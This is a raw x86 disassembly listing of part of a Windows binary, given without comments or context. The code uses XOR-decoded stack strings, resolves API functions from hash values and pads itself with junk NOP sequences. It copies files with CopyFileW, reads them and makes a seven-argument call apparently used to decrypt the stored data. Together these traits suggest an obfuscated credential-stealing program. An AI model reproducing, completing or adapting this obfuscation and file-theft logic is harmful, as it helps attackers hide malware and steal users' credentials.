mov ebx, dword [ebp - 0x18]
jmp dword [0x446bb8]
mov ebx, dword [ebp - 0x18]
jmp dword [0x446bb8]
mov edi, dword [ebp - 0x40]
mov ecx, dword [ebp + 8]
mov esi, dword [ebp - 0x78]
mov ebx, dword [ebp - 0x14]
jmp dword [0x446ba4]
mov byte [ebx], 0
mov dword [esi], 0xc2cdcc9a
mov dword [esi + 4], 0xc6f0f3c6
mov dword [esi + 8], 0xc5cbcbca
mov dword [esi + 0xc], 0xefddfb88
mov dword [esi + 0x10], 0xfa92d1ea
mov dword [esi + 0x14], 0xdce4dbd0
mov dword [esi + 0x18], 0xced19ad0
mov word [esi + 0x1c], 0x38d3
mov dword [esi + 0x1e], 0
mov word [esi + 0x22], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x23
ja case.0x41fbab.25
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [esi + edx]
add eax, 0xc3b17523
xor eax, edx
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
add al, 0x88
mov edx, dword [ebp - 0x10]
mov byte [esi + edx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x24
jb 0x41ff40
jmp case.0x41fbab.25
jmp dword [0x446ba8]
mov byte [ebx], 0
mov dword [esi], 0xc2cdcc9a
mov dword [esi + 4], 0xc6f0f3c6
mov dword [esi + 8], 0xc5cbcbca
mov dword [esi + 0xc], 0xefddfb88
mov dword [esi + 0x10], 0xfa92d1ea
mov dword [esi + 0x14], 0xdce4dbd0
mov dword [esi + 0x18], 0xced19ad0
mov word [esi + 0x1c], 0x38d3
mov dword [esi + 0x1e], 0
mov word [esi + 0x22], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x23
ja 0x41ff70
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [esi + edx]
add eax, 0xc3b17523
xor eax, edx
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
add al, 0x88
mov edx, dword [ebp - 0x10]
mov byte [esi + edx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x24
jb 0x41ffd0
jmp 0x41ff70
mov eax, dword [ebp - 0x3c]
sub ebx, eax
push ebx
push eax
push esi
call fcn.00409fb0
mov ebx, eax
jmp dword [0x446bb0]
lea ecx, [ebp - 0x58]
call fcn.0043b900
lea ecx, [ebp - 0x58]
call fcn.0043b900
jmp dword [0x446bc0]
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
xor edx, edx
test ecx, ecx
sete dl
mov eax, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x446c40]
jmp dword [ecx*4 + 0x446bc8]
mov dword [esp + 0x28], 0xf421f65d
mov dword [esp + 0x2c], 0xc810ca30
mov dword [esp + 0x30], 0xcc18ce10
mov dword [esp + 0x34], 0xc015c219
mov dword [esp + 0x38], 0xc46bc668
mov dword [esp + 0x3c], 0xd81ada18
mov dword [esp + 0x40], 0xdc07de1e
mov dword [esp + 0x44], 0xd001d204
mov dword [esp + 0x48], 0xd47bd614
mov dword [esp + 0x4c], 0xa878aa02
mov dword [esp + 0x50], 0xac7bae73
mov dword [esp + 0x54], 0xa062a206
mov dword [esp + 0x58], 0xa462a677
mov dword [esp + 0x5c], 0xb811ba09
mov dword [esp + 0x60], 0xbc03be18
mov dword [esp + 0x64], 0xb016b237
mov dword [esp + 0x68], 0xb460b61d
mov dword [esp + 0x6c], 0x882e8a01
mov dword [esp + 0x70], 0x8c328e28
mov word [esp + 0x74], 0x828d
mov byte [edi + 2], 0
mov word [edi], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x50
ja 0x420180
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0x557e649b
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0x96
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x51
jb 0x420150
lea ecx, [esp + 0x20]
lea ebp, [esp + 0x28]
push 0
push 0
push eax
push ecx
push ebp
call fcn.0043fa80
add esp, 0x14
shr eax, 0x1f
mov ecx, 4
jmp dword [eax*4 + 0x446bd0]
lea ebx, [esp + 0x90]
lea eax, [esp + 0x24]
push ebx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x40]
call fcn.0043fe90
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446bd8]
mov eax, dword [esp + 0x90]
mov ecx, eax
inc ecx
jns 0x4201ea
mov eax, 0xffffffff
jmp 0x4201f1
lea eax, [eax*2 + 2]
push eax
call fcn.00409620
add esp, 4
mov esi, eax
mov dword [esp + 0x28], 0xfa67f4be
mov dword [esp + 0x2c], 0xfe6df86c
mov dword [esp + 0x30], 0xe251fc5e
mov dword [esp + 0x34], 0xe651e04f
mov dword [esp + 0x38], 0xea71e446
mov dword [esp + 0x3c], 0xeee9e843
mov dword [esp + 0x40], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1b
ja 0x42027e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x97d7e245
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x4e
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x1c
jb 0x420250
push ebx
push esi
push 0
push ebp
push dword [esp + 0x30]
call fcn.00440460
add esp, 0x14
shr eax, 0x1f
mov dword [esp + 0x10], esi
jmp dword [eax*4 + 0x446be0]
mov dword [esp + 0x10], 0
jmp dword [0x446be8]
jmp dword [0x446bf0]
push esi
call fcn.00409630
add esp, 4
nop
nop
nop
nop
nop
nop
push esi
call fcn.00409630
add esp, 4
jmp dword [0x446bfc]
mov eax, dword [esp + 0x20]
mov dword [esp], 0x494a4b4c
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x420323
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x28]
add cl, 0x88
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x4202f0
mov ecx, dword [0x44a91c]
test ecx, ecx
je 0x420360
mov edx, dword [esp]
xor esi, esi
mov ebx, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x625b6034
je 0x420350
inc esi
cmp ecx, esi
jne 0x420340
jmp 0x420360
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
jne case.default.0x42036a
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
cmp dword [esp + 0x10], 0
setne al
jmp dword [eax*4 + 0x446c00]
push ebp
call fcn.0043f110
add esp, 4
cmp dword [esp + 0x28], 1
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446c08]
xor ecx, ecx
jmp 0x4203c5
jmp case.0x4203b0.1
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
xor eax, eax
cmp dword [esp + 0x10], 0
setne al
jmp dword [eax*4 + 0x446c00]
mov ecx, 2
mov eax, dword [case.0x42019f.1]
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [case.0x4203b0.11]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor eax, eax
cmp ecx, 4
setl al
jmp dword [eax*4 + 0x446c30]
sete al
movzx edx, al
mov eax, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x446c38]
xor eax, eax
mov edi, dword [esp + 0x10]
test edi, edi
sete al
jmp dword [eax*4 + 0x446c48]
mov ebx, dword [esp + 0xb8]
mov ecx, edi
jmp dword [0x446c54]
mov eax, edi
jmp 0x421582
xor ebx, ebx
jmp 0x420811
jmp dword [0x446d3c]
cmp dword [edx + 0x18], 3
mov ebp, 0
jne 0x420440
mov ebp, dword [edx + 0x10]
jmp 0x420440
mov eax, dword [edx]
mov dword [esp + 0x80], eax
test eax, eax
setne al
test ebp, ebp
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446d40]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x446d28]
mov dword [esp + 0x84], edx
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x4204d6
mov dword [esp + 0x14], ebx
sub ecx, ebp
inc ecx
shr ecx, 1
mov dword [esp + 0xa0], ecx
lea eax, [ecx + 1]
push eax
call fcn.00409620
add esp, 4
movsx ecx, byte [ebp]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x88], eax
jmp dword [edx*4 + 0x446d48]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0x8c]
call fcn.00423470
add esp, 0x10
mov dword [esp + 0x80], eax
mov dword [esp + 0x1c], edx
mov ecx, dword [case.0x420d8b.25]
mov dword [esp + 0x8c], 0
mov ebp, dword [case.0x420d8b.29]
xor eax, eax
mov esi, dword [esp + 0x10]
cmp esi, edi
setne al
jmp dword [eax*4 + 0x446d58]
or ecx, edx
mov byte [eax], cl
inc eax
movsx ecx, byte [ebp]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x446d48]
lea esi, [ebp + 1]
mov edx, ecx
or edx, 0x20
lea ebx, [edx - 0x61]
add edx, 0xffffffa9
add ecx, 0xffffffd0
cmp ecx, 0xa
jb 0x420562
mov ecx, 0xffffffff
cmp ebx, 6
jb case.default.0x420573
mov edx, ecx
movsx ebx, byte [esi]
xor ecx, ecx
test bl, bl
setne cl
jmp dword [ecx*4 + 0x446d50]
mov byte [eax], dl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov ebp, esi
jmp dword [edx*4 + 0x446d48]
shl edx, 4
add ebp, 2
mov ecx, ebx
or ecx, 0x20
lea esi, [ecx - 0x61]
add ecx, 0xffffffa9
add ebx, 0xffffffd0
cmp ebx, 0xa
jb 0x4205ae
mov ebx, 0xffffffff
cmp esi, 6
jb 0x420530
mov ecx, ebx
jmp 0x420530
add esi, 8
xor ebx, ebx
cmp esi, edi
setne bl
jmp dword [ebx*4 + 0x446d58]
mov edx, edi
mov ebx, dword [esi + 4]
mov edi, ebx
shr edi, 0x1c
shl ebx, 4
or ebx, 1
xor edi, dword [esp + 0x1c]
xor ebx, dword [esp + 0x80]
xor eax, eax
or ebx, edi
sete al
jmp dword [eax*4 + 0x446d60]
jmp ebp
mov ebx, 1
mov edi, edx
jmp dword [ebx*4 + 0x446d88]
jmp ecx
mov eax, dword [esi]
mov dword [esp + 0x8c], eax
xor ebx, ebx
mov edi, edx
jmp dword [ebx*4 + 0x446d88]
xor eax, eax
mov ebp, dword [esp + 0x8c]
test ebp, ebp
setne al
jmp dword [eax*4 + 0x446d90]
mov ebx, dword [esp + 0x14]
mov esi, dword [esp + 0x98]
mov edx, dword [esp + 0x84]
jmp dword [0x446da0]
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x2c], eax
mov eax, 0xffffffff
mov ebx, dword [esp + 0x14]
mov esi, dword [esp + 0x98]
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x4206d2
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebp
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x44a928]
call fcn.0043e950
add esp, 8
mov ecx, esp
lea edx, [esp + 8]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x40]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x446d98]
mov edx, dword [esp + 0x84]
jmp dword [0x446da0]
movzx eax, byte [ebp]
test al, al
je 0x42070e
mov ecx, ebp
inc ecx
mov ebp, dword [esp + 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebp], al
inc ebp
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x420700
jmp 0x420712
mov ebp, dword [esp + 0x18]
mov word [ebp], 0x203a
lea esi, [ebp + 2]
mov edx, dword [esp]
test edx, edx
je 0x42072f
mov eax, dword [esp + 4]
test dl, 1
jne 0x420733
mov ecx, edx
jmp 0x42074b
mov ebp, esi
jmp 0x420780
mov ecx, edx
not ecx
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
lea ecx, [ecx + edx*2]
mov byte [ebp + 2], bl
add ebp, 3
mov esi, ebp
cmp edx, 1
je 0x420780
mov ebp, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [ebp], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [ebp + 1], dl
add ebp, 2
add ecx, 0xfffffffe
jne 0x420760
mov byte [ebp], 0xa
inc ebp
mov dword [esp + 0x18], ebp
push 0xe050b307
push dword [0x44a910]
call fcn.0043e950
add esp, 8
push dword [esp + 4]
call eax
mov bl, 1
mov esi, dword [esp + 0x98]
mov edx, dword [esp + 0x84]
jmp dword [0x446da0]
push dword [esp + 0x88]
call fcn.00409630
mov edx, dword [esp + 0x88]
add esp, 4
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x446d28]
xor ebx, ebx
test edi, edi
je 0x420811
cmp edi, ebp
je 0x420811
mov esi, edi
jmp 0x4207f7
add esi, 8
cmp esi, ebp
je 0x420808
mov eax, dword [esi]
test eax, eax
je 0x4207f0
push eax
call fcn.00409630
add esp, 4
jmp 0x4207f0
push edi
call fcn.00409630
add esp, 4
mov eax, ebx
add esp, 0xa4
pop esi
pop edi
pop ebx
pop ebp
ret
push dword [esp + 0x94]
call fcn.00409630
add esp, 4
mov eax, dword [esp + 0x14]
and al, 1
movzx eax, al
mov ebp, dword [esp + 0x1c]
mov esi, dword [esp + 0x7c]
jmp dword [eax*4 + 0x446de0]
mov edx, dword [esp + 0x18]
mov byte [edx], 0
mov dword [esp + 0x28], 0xa7bab585
mov dword [esp + 0x2c], 0xbbafaea1
mov dword [esp + 0x30], 0xa4a0bea5
mov dword [esp + 0x34], 0xb2a28663
mov dword [esp + 0x38], 0x8f69b8b5
mov dword [esp + 0x3c], 0xadbbb6ab
mov dword [esp + 0x40], 0x9b966fab
mov word [esp + 0x44], 0x6194
mov dword [esp + 0x46], 0
mov word [esp + 0x4a], 0
sub edx, esi
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x23
ja 0x4208de
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x1746ac86
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x3e
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x24
jb 0x4208b0
mov ecx, ebx
push edx
push esi
lea eax, [esp + 0x30]
push eax
call fcn.00409fb0
mov ebx, eax
jmp dword [0x446de8]
push esi
call fcn.00409630
add esp, 4
and bl, 1
mov edi, dword [esp + 0x10]
test edi, edi
jne 0x4207e7
jmp 0x420811
mov eax, ebp
mov dword [esp + 0x10], edi
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00409620
add esp, 4
mov edi, eax
mov eax, dword [0x44a918]
mov dword [esp + 0x28], 0x4a1f4876
mov dword [esp + 0x2c], 0x463a4434
mov dword [esp + 0x30], 0x42374022
mov dword [esp + 0x34], 0x5e2f5c1e
mov dword [esp + 0x38], 0x5a075829
mov dword [esp + 0x3c], 0x56db5436
mov dword [esp + 0x40], 0x526c5032
mov dword [esp + 0x44], 0x6e026c09
mov dword [esp + 0x48], 0x6a1468e5
mov dword [esp + 0x4c], 0x66106406
mov dword [esp + 0x50], 0x62176005
mov dword [esp + 0x54], 0x7e027c0c
mov dword [esp + 0x58], 0x7a0f781a
mov dword [esp + 0x5c], 0x76f97443
mov dword [esp + 0x60], 0x720d700d
mov dword [esp + 0x64], 0x8c8d
mov byte [esp + 0x68], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x40
ja 0x420a17
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
lea esi, [ecx + edx]
add esi, 0x6ee74fc4
add ecx, 0x6ee74fc4
and ecx, edx
mov edx, esi
xor edx, ecx
add edx, ecx
not ecx
and ecx, esi
add ecx, ecx
sub ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0x73
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x41
jb 0x4209d0
lea ecx, [esp + 0x28]
lea edx, [esp + 0x20]
push edx
push 0
push 0
push 0x1e
push ecx
push 0
call eax
mov esi, dword [esp + 0x20]
test esi, esi
jns 0x420a3a
mov eax, 0xffffffff
jmp 0x420a3d
lea eax, [esi + esi]
mov dword [esp + 0x1c], ebp
push eax
call fcn.00409620
add esp, 4
mov dword [esp + 0x94], eax
mov eax, dword [0x44a918]
mov dword [esp + 0x28], 0x3cf33edc
mov dword [esp + 0x2c], 0xa4028e
mov dword [esp + 0x30], 0x4ab06a0
mov dword [esp + 0x34], 0x8bb0ac4
mov dword [esp + 0x38], 0xccb0eb9
mov dword [esp + 0x3c], 0x10a712ac
mov dword [esp + 0x40], 0x14f216b0
mov dword [esp + 0x44], 0x18cc1ac9
mov dword [esp + 0x48], 0x1cba1ead
mov dword [esp + 0x4c], 0xe04ee2bc
mov dword [esp + 0x50], 0xe44be63d
mov dword [esp + 0x54], 0xe84cea56
mov dword [esp + 0x58], 0xec43ee48
mov dword [esp + 0x5c], 0xf049f21f
mov dword [esp + 0x60], 0xf45df655
mov word [esp + 0x64], 0xfaf5
mov dword [esp + 0x66], 0
mov byte [esp + 0x6a], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x42
ja 0x420b30
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0x1496285b
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0x9e
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x43
jb 0x420b00
lea ecx, [esp + 0x20]
push ecx
push esi
mov esi, dword [esp + 0x9c]
push esi
push 0x1e
lea ecx, [esp + 0x38]
push ecx
push 0
call eax
lea eax, [esp + 0x24]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.0043f310
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x14], 0
mov dword [esp + 0x7c], edi
mov dword [esp + 0x18], edi
jmp dword [eax*4 + 0x446ce0]
jmp dword [0x446dd8]
mov eax, dword [esp + 0x14]
and al, 1
movzx eax, al
mov ebp, dword [esp + 0x1c]
mov esi, dword [esp + 0x7c]
jmp dword [eax*4 + 0x446de0]
mov ebx, dword [esp + 0x14]
jmp dword [0x446de8]
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0x2c]
call fcn.0043f670
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 0x14], 0
mov ebp, dword [esp + 0x7c]
mov dword [esp + 0x18], ebp
jmp dword [eax*4 + 0x446ce8]
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.00409620
add esp, 4
push 0
push esi
mov dword [esp + 0xa4], eax
push eax
push dword [esp + 0x30]
call fcn.0043f750
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], ebp
jmp dword [eax*4 + 0x446cf0]
mov ebx, dword [esp + 0x9c]
jmp dword [0x446cf8]
mov esi, dword [esp + 0x90]
mov byte [ebx + esi], 0
push 0x20
call fcn.00409620
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push ebx
call fcn.00423080
nop
nop
nop
nop
mov edi, dword [esp + 0x90]
mov byte [ebx + edi], 0
push 0x20
call fcn.00409620
add esp, 4
mov esi, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push edi
push ebx
call fcn.00423080
jmp dword [0x446d04]
movzx eax, al
xor ebx, ebx
mov dword [esp + 0x18], ebp
mov edi, dword [esp + 0x1c]
jmp dword [eax*4 + 0x446d08]
mov dword [esp + 0x28], 0xc5cac025
mov dword [esp + 0x2c], 0x30c236dd
mov dword [esp + 0x30], 0xd5292119
mov dword [esp + 0x34], 0x3a1f2ac4
mov dword [esp + 0x38], 0xdc2126d6
mov dword [esp + 0x3c], 0xd7d70015
mov dword [esp + 0x40], 0xed1f1ee8
mov dword [esp + 0x44], 0xe51b1e39
mov dword [esp + 0x48], 0x7317
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x23
ja 0x420d6e
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
lea edx, [eax + ecx]
add edx, 0xd5374248
add eax, 0xd5374248
not ecx
or eax, ecx
sub ecx, eax
lea eax, [edx + ecx*2]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0xe6
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x24
jb 0x420d30
mov ecx, esi
lea eax, [esp + 0x28]
push eax
call fcn.00423270
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
mov edx, dword [esp + 0x7c]
mov dword [esp + 0x18], edx
jmp dword [ecx*4 + 0x446d10]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], ebx
mov ebx, dword [esp + 0xb8]
jmp dword [0x446da8]
mov ecx, esi
call fcn.004233d0
push esi
call fcn.00409630
add esp, 4
jmp dword [0x446dc0]
jmp dword [0x446dcc]
jmp dword [0x446dc0]
push dword [esp + 0x9c]
call fcn.00409630
add esp, 4
jmp dword [0x446dcc]
mov eax, dword [esp + 0x24]
mov dword [esp], 0x494a4b4c
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x420e33
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x28]
add cl, 0x88
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x420e00
mov ecx, dword [0x44a91c]
test ecx, ecx
je case.0x420b75.59
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x420e60
inc esi
cmp ecx, esi
jne 0x420e50
jmp case.0x420b75.59
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x420b75.59
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
jmp case.0x420b75.59
jmp dword [0x446dd4]
mov eax, dword [esp + 0x24]
mov dword [esp], 0x494a4b4c
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x420ee3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x28]
add cl, 0x88
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x420eb0
mov ecx, dword [0x44a91c]
test ecx, ecx
je 0x420e80
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x420f20
inc esi
cmp ecx, esi
jne 0x420f00
jmp 0x420e80
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x420e80
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
jmp dword [0x446dd4]
add eax, 8
xor ebx, ebx
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov ecx, dword [esp + 0x7c]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x98], esi
jmp dword [eax*4 + 0x446d28]
xor eax, eax
cmp word [esi], 0x5b
sete al
jmp dword [eax*4 + 0x446c68]
mov esi, dword [esp + 0x94]
jmp dword [0x446cc8]
push ebx
call fcn.00409630
add esp, 4
jmp case.0x421068.2
mov dword [esp + 0x28], 0x3e753c78
mov dword [esp + 0x2c], 0x3256305d
mov dword [esp + 0x30], 0x36493444
mov dword [esp + 0x34], 0x4a30482f
mov dword [esp + 0x38], 0x4e234c34
mov dword [esp + 0x3c], 0x42324024
mov dword [esp + 0x40], 0x4621443b
mov dword [esp + 0x44], 0x5a225822
mov dword [esp + 0x48], 0x5e295c63
mov dword [esp + 0x4c], 0x52355035
mov word [esp + 0x50], 0x5455
mov dword [esp + 0x52], 0
mov word [esp + 0x56], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2f
ja 0x42103e
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x4901a9b4
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x77
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x30
jb 0x421010
lea eax, [esp + 0x28]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0x20]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.0043f310
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446c70]
xor edi, edi
xor ebp, ebp
jmp dword [0x446cd0]
push esi
call fcn.00409630
add esp, 4
xor eax, eax
cmp edi, ebp
sete al
jmp dword [eax*4 + 0x446cd8]
lea eax, [esp + 0x24]
push 0
push eax
push dword [esp + 0x28]
call fcn.0043f670
add esp, 0xc
not eax
shr eax, 0x1f
xor edi, edi
mov dword [esp + 0x10], 0
jmp dword [eax*4 + 0x446c78]
mov ebx, esi
mov ebp, edi
mov eax, dword [esp + 0x20]
mov dword [esp], 0x494a4b4c
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x421113
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x28]
add cl, 0x88
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x4210e0
mov ecx, dword [0x44a91c]
test ecx, ecx
je 0x4212ca
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x44a920]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x4212c2
inc esi
cmp ecx, esi
jne 0x421130
jmp 0x4212ca
mov dword [esp + 0x94], esi
mov esi, dword [esp + 0x24]
lea eax, [esi + 1]
push eax
call fcn.00409620
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0x2c]
call fcn.0043f750
add esp, 0x10
not eax
shr eax, 0x1f
xor edi, edi
mov dword [esp + 0x10], 0
jmp dword [eax*4 + 0x446c80]
mov esi, dword [esp + 0x24]
mov byte [ebx + esi], 0
push 0x20
call fcn.00409620
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x88], eax
mov ecx, eax
push esi
mov dword [esp + 0x88], ebx
push ebx
call fcn.00423080
movzx eax, al
xor edi, edi
xor edx, edx
jmp dword [eax*4 + 0x446c88]
mov dword [esp + 0x28], 0xddc8c2f9
